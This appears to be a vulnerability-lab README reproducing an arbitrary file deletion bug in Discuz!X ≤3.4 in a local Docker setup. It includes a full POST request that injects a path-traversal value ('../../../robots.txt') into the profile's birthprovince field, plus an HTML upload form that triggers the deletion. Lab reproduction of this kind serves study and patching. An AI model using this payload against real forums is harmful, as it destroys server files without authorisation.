Aaron
63285f61aa
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86 lines
2.7 KiB
Markdown
86 lines
2.7 KiB
Markdown
# Discuz!X ≤3.4 Arbitrary File Deletion
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[中文版本(Chinese version)](README.zh-cn.md)
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Discuz!X is a popular forum software widely used in China. A vulnerability in Discuz!X versions 3.4 and below allows attackers to delete arbitrary files on the server through the user profile modification functionality.
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References:
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- <https://lorexxar.cn/2017/09/30/dz-delete/>
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## Environment Setup
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Execute the following command to deploy Discuz!X 3.4:
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```
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docker compose up -d
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```
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During installation, only modify the database host to `db` and keep other settings as default:
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## Vulnerability Reproduction
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First, verify that the target file (e.g., robots.txt) exists by visiting `http://your-ip/robots.txt`:
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After registering a user account, find your formhash value in the personal settings page:
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Send the following HTTP request with your cookie and formhash:
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```
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POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
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Host: localhost
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Content-Length: 367
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
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Cookie: [your cookie]
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Connection: close
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------WebKitFormBoundaryPFvXyxL45f34L12s
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Content-Disposition: form-data; name="formhash"
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[your formhash]
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------WebKitFormBoundaryPFvXyxL45f34L12s
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Content-Disposition: form-data; name="birthprovince"
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../../../robots.txt
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------WebKitFormBoundaryPFvXyxL45f34L12s
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Content-Disposition: form-data; name="profilesubmit"
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1
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------WebKitFormBoundaryPFvXyxL45f34L12s--
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```
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After successful submission, the birthplace field in the user profile page will show the following state:
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This indicates that our malicious data has been inserted into the database.
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Next, create an `upload.html` file with the following code (replace `[your-ip]` with your Discuz domain and `[form-hash]` with your formhash):
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```html
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<body>
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<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
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<input type="file" name="birthprovince" />
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<input type="submit" value="upload" />
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</form>
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</body>
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```
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Open this page in a browser and upload a normal image file. At this point, the malicious data should have been processed and the vulnerability exploitation is complete.
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Visit `http://your-ip/robots.txt` again to verify that the file has been successfully deleted:
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